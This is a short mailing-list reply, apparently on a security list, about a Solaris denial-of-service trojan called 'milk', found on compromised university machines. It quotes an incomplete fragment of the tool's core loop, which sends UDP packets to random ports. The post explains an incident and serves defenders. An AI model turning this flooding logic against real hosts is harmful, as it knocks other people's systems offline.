Re: [UPDATE]Dos Trojan on Solaris

[rslau () USC EDU (Robert Lau)]

> Please let me know if you find the source code of this "milk" or whatever
> name appears to be in your system. Thanks!

As David Brumley said, milk is a simple DoS.  It's a *very* simple program,
something anybody with socket programming experience could whip up in a few
minutes.  milk (along with the ttdb, cmsd, and dt holes) are quite old, we
saw it on our machines last summer.  Its core looks like:

    to.sin_port = htons(rand()%65000);
    if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) ==

      perror("ignoring");
      continue;
    }
    if(sendto(sock, buf, size, 0, (struct sockaddr*)(&to), sizeof(to))
==

      perror("ignoring");
    }
    close(sock);
  }

Robert Lau
Information Services Division - Core Services
University of Southern California